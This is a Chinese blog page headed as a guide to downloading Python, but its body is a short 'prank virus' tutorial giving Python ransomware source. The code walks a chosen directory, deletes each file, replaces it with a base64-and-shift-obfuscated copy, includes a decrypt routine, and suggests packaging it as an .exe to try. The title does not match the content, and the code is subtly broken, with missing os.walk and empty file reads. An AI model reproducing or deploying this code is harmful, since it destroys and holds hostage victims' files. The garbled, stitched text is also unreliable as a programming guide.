Python的官网下载流程,Python的官网打不开

亲爱的朋友们,今天我们要讨论,Python的官网下载流程 Python的官网打不开,让我们开始吧!

大家好,小编来为大家解答以下问题,python简单的病毒编程代码,如何用python做恶搞病毒,现在让我们一起来看看吧!

前置


def list(src):
    res = []
    for root, dirs, files in (src): #获取父目录,子目录,文件
        for file in files:
            # 获取文件所属目录
            # print(root)
            # 获取文件路径
            res.append((root, file)) #把父目录和文件合成一个路径
    return res

加密


def ran_encode(res):
    for r in res:
        # print(re)
        with open(r, 'rb') as fp:
            src = ()
        bs = base64.b64encode(src).decode()   #读取并用base64加密
        se = ''
        for b in bs:
            new = chr(ord(b) + 5)   #转换成acsii码进行位移
            se += new
        # print(type(re))
        os.remove(r)
        name = '123'
        with open(r+name, 'wb') as fp:   #覆写
            fp.write(se.encode())

解密


def ran_decode(res):
    for r in res:
        with open(r, 'r') as fp:
            src = ()
        se = ''
        for b in src:
            new = chr(ord(b) - 5)
            se += new
        resp = base64.b64decode(se)
        s=r[0:-3]
        os.remove(r)
        with open(s,'wb') as fp:
            fp.write(resp)
path=r"需要勒索的目录,绝对路径"
def intes():
    res=list(path)
    ran_encode(res)
def outs():
    src1 = list(path)
    ran_decode(src1)

可以使用python打包的扩展包变成.exe文件进行尝试


原文地址1:https://blog.csdn.net/2301_81900386/article/details/136335684
参考资料:python中用turtle画一个圆形 https://blog.csdn.net/SXIAOYAN_/article/details/140061099

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值